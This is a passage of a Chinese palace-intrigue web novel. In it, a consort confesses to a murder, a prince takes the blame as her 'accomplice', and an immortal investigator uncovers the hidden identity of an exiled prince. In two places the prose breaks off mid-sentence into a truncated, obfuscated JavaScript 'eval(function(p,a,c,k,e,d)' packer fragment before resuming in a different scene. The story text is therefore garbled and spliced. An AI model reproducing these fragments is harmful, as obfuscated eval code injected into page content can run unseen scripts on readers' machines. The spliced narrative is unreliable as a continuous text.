唤回我神志的,是一个按捺着惊骇诧异、小心翼翼、轻声细语的少年声:“颜儿?” 我定神一看,面前躺着陈彦藩的尸体,心口插着枚匕首,鲜血溅满了我半身。 - 我摊开自己掌心,尚有余温的鲜血淌在指缝间,替十指染上了猩红色的蔻丹,两三滴温热顺着指尖滑落。 “嘀嗒——” 我空张着嘴,只觉唇舌蹇涩,声门迟滞,如同被咸涩的海水倒灌进了咽喉,不断急剧地喘着气,却半丝声响也溢不出齿间。 门扇阖上发出木板轻微的碰撞与摩擦声,接着是落锁的“啪嗒”声,脚步声朝我缓缓而来,停在我跟前。 未等我抬头,眼前一暗,额头抵在了一个温暖的胸口,脸上的血顿时蹭满了他雪白的衣襟,他伸手揽住我肩膀,轻柔地拍拍我的背,他的声音低沉柔和,如同温软的绵糖,将我包裹在其中。 “颜儿别怕,有我在。” “我会处理的,别担心,不会有事的。” “有什么,都说出来,别自己一个人扛着。” “告诉我,我来帮你。” 我听见自己干涩的喉咙底里发出嘶哑枯槁的声音。 “我,我恨太后,我恨……可,她已经……” 他忽然笑了,摸摸我的头。 “没事,尚有办法可想,她百日未过,还有机会。” “况且,我会帮你完成。” 他垂下头,薄唇凑在我的耳旁,清冷幽沉的声音,犹如妖魅低语,蛊惑心神。 “颜儿,我们是共犯了。” - “事情说完了。”姬朝颜抬起头道,“还有其他要问的吗?” 殷烬翎摇摇头,颇有些遗憾地看了眼门边,一直到故事说完,叶南扶也不曾出现,看来他今日大抵是不会再来了的。 不过如今真相已经水落石出,他即便来了也无济于事。 “那么,道长现在就带我去见陛下吗?” 殷烬翎看了看外头的夜色,有些犹豫,想着这么晚了也不好打扰皇帝,正打算出言推说“明日再谈”,转头却瞥见姬朝颜神色,心下不由一紧。 “抱歉,道长,只怕朝颜去不了了。” 她面上平淡无波,甚至还冲殷烬翎和谢预笑了笑。 下一刻,拔下头上的木簪,陡然朝心口上扎去! 其动作迅疾狠戾,连忙出手施法都有些赶不及, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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慈宁宫中一整沓文书信笺最上方独独一份的,灯烛铺地契…… 七七日里炸焰的白烛,撞柱的乌鸟…… 太子妃黎落失踪的院子里藏匿在角落的木偶…… 妖蛊案中皇帝房里的木偶…… 广陵王府搜出来的半成品木偶和部分材料…… “阿预尤其喜欢缠他,三天两头与我炫耀……最令他沾沾自喜的一次,同我显摆小叔叔送了他个小玩意儿,却又煞有介事地不肯告诉我是什么,结果隔天就给弄丢了,那叫一个呼天抢地,后来还是小叔叔答应过些天再送个原样的给他,这才罢休……” “其实太后较为疼爱的还有襄王,襄王在太后几个孙子当中年纪最小,自幼聪慧过人,会讨得人欢心,常去太后跟前陪伴,与其甚是亲近,可以说是太后看着长大的。” 那个小玩意儿……会是,木偶嘛? 那他昔日,可曾向太后炫耀木偶?可曾在太后那儿……见过乌鸟图原画? 他可知晓……妖蛊案真相? 凌烟阁的禁卫何以突然调走,让毫无武艺身手的姬朝颜得以顺利潜入? 又是为何,已潜逃近两月之久的陈彦藩,在短短不到两日的功夫就被襄王府的府兵擒拿? - “我不大认同你。” 前一日夜里,当她说完自己的推测后,叶南扶沉吟片刻,忽然道。 “你可知,从齐王行宫到景和园,必然会经过襄王行宫?” “所以,倘若襄王知晓襄王妃会趁自己不在之时调遣府兵,那么齐王会撞见她派去捉拿陈彦藩的府兵,不是偶然,是必然的。” “而且,由于齐王素来对襄王妃颇多成见,所以……”叶南扶转头看向她,“他会前来告知我们此事,也是必然的。” “那倘若他不知呢?”她反驳道,“你这完全是臆想而已。” “确实。”他坦言道,“但不论知与不知,我相信襄王都会出来顶罪。” “只是这究竟是顶罪……还是脱罪呢?” - 她握着油灯的手忍不住微微颤抖起来,险些从手中滑落,她勉力地收拢手掌牢牢拿住,将其稳稳地放回了原处。 殷烬翎抬头正欲开口说什么,却猛然顿住了。 她发现,将此间映得通明彻亮的,满屋子数十盏燃着的油灯,都与手下这一盏毫无二致。 也许别的屋子,别处行宫,整座皇城……会有更多。 她脑中响起先前谢预说过的话。 ——天下之大,面貌相似者不胜其数。 即便它当真能证明什么,灯烛铺里的那个脆弱的印记只怕也早已不复存在了。况且,若他日当真寻到些什么,有顶罪这个名头在,无往不利。 诸多证物,却没有一样行之有效。 “襄王殿下。”她尽量控制住自己声音,使其显得波澜不惊。 怀抱着王妃,已然走到门边正欲推门的谢预,闻言手下动作一停,却并未转首,也未应声。 “我能问冒昧问一句,明日见了陛下后,殿下打算如何?” 谢预始终没有转身,她瞧不见他脸上究竟是何神色,但她觉得,他一定在无声地笑,咧着嘴角,弯了眼梢。 因为他赢了。 她问出此句就代表,已然无计可施。 须臾,他道:“自然是恳请父皇,若要处置颜儿,便一同处置我。” “毕竟……” 他低下头,吻在了怀中女子的面颊上。 “我们是共犯。” - ——只是这究竟是顶罪……还是脱罪呢? 或许都不是。她想。 67. 第 67 章 回到住处之时,已月上中天,殷烬翎垂着头,黯淡的目光无神地盯着鞋尖,一步一步地慢慢踱着。 冬夜冷风在屋瓦间吟讴着一曲悲歌,并胁迫树梢上苟活的枯枝残叶为其和鸣,宛如一场盛大喧闹的戏曲只余下惨淡凋零的终幕。 叶南扶双手抱胸,一只脚抵着身后,斜倚在殿门前的廊柱上,见她垂头丧气地走回来,微微挑眉,并未出声。 殷烬翎挪着步子,在经过他身旁时停了下来,也不抬首看他,自顾自轻声道:“等着看我这模样,等了多久了?” 叶南扶装模作样地想了想:“确实挺久了。” 殷烬翎嗤笑一声,也不欲与他逞口舌之快,转而道:“今日为何不来?” 叶南扶不答反问:“来与不来有何差别?” 殷烬翎沉默了。 看来他今日也未能寻到什么,因而一早便料到事情会是当下这个结果,即便亲自去了怕也不会有所改变。谢预此人,千面难辨,又岂是会被三言两语套出话来的。 不过好处是,从今以后,老哥大约不会再嘲讽我川剧变脸了。殷烬翎故作轻松地想着。 只是…… “他的目的究竟是什么?”殷烬翎不禁问出了声。 是为了广陵王,还是姬朝颜呢? “谁知道呢。”叶南扶耸了耸肩,轻飘飘道,“或许……他中途曾改了主意。” 他掸掸袖子,直起身来:“行了,大半夜的,别杵在这儿了,进去再说吧。” 殷烬翎依言往里走了两步,忽然又道:“那你为何要在门口等? 叶南扶闻言,不由自主地撇开眼,抿着唇,一时未能答上话。 “这么迫不及待,想第一时间瞧见我一筹莫展的模样?” 叶南扶怔了怔,掀唇冷笑:“你说是,那就是。” 于是叶·悲伤气氛剿灭大师·南扶再一次成功地将殷烬翎的沮丧情绪一扫而空,她直接怒了。 - 此后的几日,关于姬朝颜的处罚,一直没什么消息传出来,期间封荀和秦子铮来过一次,殷烬翎同他们问起此事,俱是一副毫不知情的模样,他们二人是来转达陛下意思的。 皇帝陛下向众仙家表示了感谢,并称此事已经了结,勿须再查下去,不日将在宫中设宴为众仙家饯行。 这算是私了了嘛? 虽早先能想到,陛下大抵并不会将此事公之于众,毕竟其内幕涉及妖蛊案真相这等天大秘辛,不宜宣扬出去,故而更有可能选择大事化小、小事化了,只是如今这一点水波也不起,却是着实令人意外的。 此时已到了小雪,天气一日冷过一日,她叹了口气,瞅了眼旁边正裹在被窝里微微蠕动的人,间或还有几缕糕饼香味从缝隙里溢出,其储量之丰富令她一度百思不解。 “我有个问题。”殷烬翎忍了好久还是没忍住,“你以往宅在魔界的家里又从不出门,居家还穿着揣有袖里乾坤的衣裳作甚?” 被子团的扭动微微停了一瞬,接着又满不在乎地滚了两下,捂在被子里瓮声瓮气道:“每个阿宅都会希望所有东西在自己一臂之内。” 殷烬翎忍不住翻了个白眼:“懒死你算了。” 她抬头看向窗外,有些坐不住了,她按捺不下好奇,想去找知情人来问一问。 谢预就算了,此人给她造成了方圆几百里的心理阴影,如今这人说的话,她一个句读都不会再信。而姬朝颜……估计正被前者寸步不离地守着呢。 思来想去,还是只能找平易近人又好脾气的皇帝了。 而眼前这用锦被将自己团成个粽子的人,显然肉眼可见的不会与她同去,她便只得独自出了门。 刚走出住处没几步,迎面走来个宫女,手里捧着一篮干瘪的白花,同殷烬翎见了个礼便要过去,侧身而过的一瞬间,殷烬翎微一皱眉,猝然伸手抓住了宫女的手臂。 宫女一惊之下,手上一个不稳,捧着的花顿时撒了满地。 殷烬翎急忙松了手,宫女连声道着歉,蹲下去捡。 “抱歉……”殷烬翎有些过意不去,也俯身去帮忙拾起花来,一边问道,“这些花是……?” “原是放在太后灵位旁的。”宫女捡着花答道,“过完百日丧期就算结束了,要将灵堂撤掉,牌位送入祠堂,与先帝的摆在一起,这些花就是从灵堂里撤下来的。” 手上是一朵白菊,细软的花瓣早已经失了润泽的光彩,显得苍白无力,边缘泛起大片枯槁的萎黄之色,轻轻一捻便散作齑粉飘向风中。 殷烬翎动作有些迟滞,握着朵花的手微微发僵,喉头上下滚了滚,好一会才再度开口:“这花……叫什么名字?” “叫瑶台玉凤,是太后生前最喜爱的花。” 瑶台玉凤…… ——看这几株白菊,名为瑶台玉凤,相当名贵的品种,因品名里带了太后的名讳,故而是她老人家最喜爱的花。 她探手入袖中,取出一片同样干枯已久的白色花瓣来。 “道长?”宫女见她盯着掌心出神,轻声唤道,“奴婢已经捡好了,道长手上那些……” 殷烬翎豁然起身,将手中的花往篮子里一放,匆忙道了声歉,转身便往皇帝书房赶去,走着走着,步子越来越快,最后竟小跑了起来。 经过一番让她等得分外心焦的通传后,终于进了书房里,皇帝见她进来,起身吩咐看座上茶。 殷烬翎摇头婉拒了,见了礼后当即开口:“陛下,在下有一事求问。”却不接着发问。 皇帝会意地屏退左右,道:“道长请说。” “在下似乎,从来都不曾知晓过广陵王殿下之名讳。” “广陵……”提起此人,皇帝心头不免五味陈杂了一番,“名唤谢霄,霄汉的霄。” 他又接着补充道:“不过这大名是后来年岁稍长才取的,不常呼其名,他幼时有个乳名,寡人及母后……还有淮安,以往都唤其乳名,后来有了封号,再唤乳名也不合适,就以封号代称了。” “乳名叫……阿睿。” - 谢霄…… 霄摘去头上的冠帽,便是肖。 这个人,当真是一如既往的耿直。 她不由想起,在那个深秋的夜里,他踩着冷月清辉爬上山坡,将花瓣一缕一缕细细摘下,落在霜夜露华之中,乘风寄往山下的江宁城。 那夜是七七,黄钟鸣响了四十九下,花是白菊,叫瑶台玉凤,江宁皇宫里有个太后新丧,名唤姬玉瑶。 他从未离开,一直守在城外的山崖上,久久眺望着被高耸的灰冷城墙围着的,那回不去的故土江宁城,以及困在城中那些永世难见的故人。 除此之外,她还想通了一桩事,姬朝颜的哥哥朝晖,原来从未背叛过广陵王,他同太后说的“交换”,是指他甘愿替了谢霄而死。 然而这个真相,她大概永远没有机会、且不能告诉姬朝颜了。 - 或许是谢预巧舌如簧说动了皇帝,又或许是皇帝也对妖蛊案心存愧疚,此事被他压了下来,停了众仙家的调查,对外只称是人心不诚,白仙降灾,明面上与之毫无关系的姬朝颜自然并未受到什么惩处,但私底下停了襄王府多久的俸禄,抑或是推给了谢预多少麻烦事就不得而知了。 除了被告知过真相的封荀和秦子铮,其余众仙显而易见皆是一头雾水,摊开仙愿榜一看,稀里糊涂地就达成了任务,皇帝还很是厚道地统一给了个赞许的好评,又拿银钱堵上了众口——众口堵没堵上她不知道,反正她的嘴是被堵得死死的,半点风都透不出来的那种。 践行宴上殷烬翎再度见到了姬朝颜,由于过了丧期,宫宴也不必再像先前那般了,她所服也并非重孝,此时已然换下了素白孝服,着一件浅淡的月白宫装,头戴一支缀着几朵白梅的钗子,面色比之先前的憔悴模样已好了不少。 见殷烬翎看来,姬朝颜微微一笑,冲她点头致意。 殷烬翎颔首回了礼,心头却颇有些不是滋味,几不可闻地叹了口气。 谁知这口气才叹到一半,对面姬朝颜就被身旁的谢预拉了几下,说了些什么,接着便转首吩咐身后侍立的婢女去了,谢预挑眉朝殷烬翎看来,满脸轻狂傲然的少年意气,一如初见那般神采飞扬,自信跳脱,他永远顶着这样一副姿态来迷惑世人。 或许自从那年,发现自己无意间失落的玩具被制成了刺向最景仰之人的暗箭,他的年少时期戛然而止,这副天真烂漫的面孔从脸上褪下,长成了最出色的面具。 殷烬翎将这口气吐完,又望向了他处,上边的太子垂目不语,似乎连日来消瘦了许多,令她不由想起了那天临走时见到的,黑猫梨落眼里破碎的星辰。 她觉得指端微微有些发冷,便不动声色地往袖子里缩了缩。 突然从旁伸来一只修长的手,轻轻覆在了她正往回缩的手上,掌心的温热悄然传递到她指尖,她惊诧地下意识抽了抽,没抽动,不由转头看去,叶南扶却并未看她,另只手仍旧专心地拣着盘里的干果,泰然自若地往嘴里抛,端的是一脸若无其事。 ——假如他的耳尖没有发红大约会更像那么回事。 他大概还不知晓此事吧?殷烬翎暗暗窃笑了下这个只有自己知道的秘密。 她不再尝试抽回手,任由他一直覆着。 谁也没动,他的掌心微微沁出了一层薄汗,潮潮地贴在她的指间,不知道是不是这潮热沿着手臂一路烧到了脸上,她只觉得脸上一阵一阵发烫,也不敢再向旁边瞥去,就这般目不斜视地一直待到了宫宴结束。 饯行宴过后,众仙家相互一一拜了别,纷纷唤出自己的飞剑,陆续御剑离去。 “殷师妹。”秦子铮走过来,“你封师兄叫我来问问你们,打算何时启程回清霄山。” 先前有说好要搭他们的座驾回去仙界,只是—— 殷烬翎往他身后看去,果然见封荀在后面装模作样看着别处,实则偷偷拿余光瞥着这边。 这种小孩子口头绝交“我不跟你玩了”,然后转头有话要说又拉不下面子来,就找个两头都交好的中间人来传话的既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶南扶俯身抱起一只哆哆嗦嗦的兔子,抚着它战栗的毛,兔子僵硬的身子渐渐放软了下来,甚至于闭了眼,发出愉悦的咕噜声。 大约是叶南扶这人畜无害的温和模样十分难得,殷烬翎弯起唇角,微微一笑,也伸手过去一同揉着毛。 过了片刻,苍翠的松叶林中跑出来一个惹眼的白色团子,定睛一看,是一只圆滚滚的白兔子,身上似乎系着个布条,随着它的跑动迎风招展。 殷烬翎将它捉起来,解下布条,放到了栅栏里。 她展开来一看,布条上用木炭写着两个字。 一个“臣”,一个“反”。 朝臣……谋反? - “如何了?” “回太后,以兵部尚书邢大人为首的二十来位朝臣近来私会频频,怕是将有动作。” 太后冷笑一声:“广陵本人都全无此意,他们倒是在这一头热,就对今上这么看不过眼?” “许是近来几场天灾给闹的,他们原就对陛下的皇位来路颇多非议,如今陛下这处事的也确实不够稳妥,落下了话柄,他们便伺机传了些陛下平庸无能,比不得广陵王殿下的流言。” 太后颇有些焦心地踱了两步:“广陵那边如何?” “广陵王殿下尚不知情,想必邢大人还未与他说起过此事。” “哼,好一个邢晟,亏得阿睿将他视为挚友,这是明知阿睿脾性,告知了他定会引来强烈反对,打算等成了事再强行拥立他上去。” “不瞒太后,依殿下如今这境况,也不怪他们会心急,历来功高震主便是大忌,何况陛下这位子又来得这般……” 太后沉默了下去。 “方才刚报上来个消息,陛下暗中差人,往广陵王府藏了个玉玦,是陛下贴身的那块。” 太后猛地抬头,满眼惊愕:“他不是……从前最疼爱阿睿了吗?” 女官端端正正地跪下:“太后还是,早做打算为好。” 太后沉吟良久,思虑再三,终是道:“替哀家,传唤陈彦藩上来。” 女官欠身告了退,下去了。 太后起身回了卧房,负手立在墙边,仰头看向面前挂着的慈乌青鼎图。 那日褪下一身冷硬战甲的少年将军,将此画献上时,笑得如沐春风,满眼都闪着敬慕与骄傲。 ——母后昔日守住的这片江山,今后就由阿睿来护持。 ——母后操劳了这许多,总算可安心颐养天年了。 外头有人通传:“太后,陈先生来了。” 太后伸手将画取下,拿到前殿,摊在桌案上,挥手召陈彦藩过来,与之吩咐了一番,将搁着朱笔的砚台,往他那侧推了推。 陈彦藩提起了朱笔,小心地确认了句:“那微臣落笔了。” 正要画下去,太后忽然出声:“等等。” 她将画拿了过来,也不见动作,只静静瞧着,生了细纹的眼尾里存着半江秋露寒霜。 她仔细端看了许久许久,仿佛要将这画面深深刻入骨血之中一般,尔后拾起桌上的墨笔,像是怕自己反悔似的,阖上眼,迅速地用力点在了右上角那只小乌鸟之上,鸟儿顿时悄无声息地湮灭在了笔墨之下。 她再度将画递回,背过身去,深深吸了口气,轻声道:“画吧。” 朱笔落下,慈乌嘴间滴下了心头血,默然无声地,淌满了整个青铜鼎。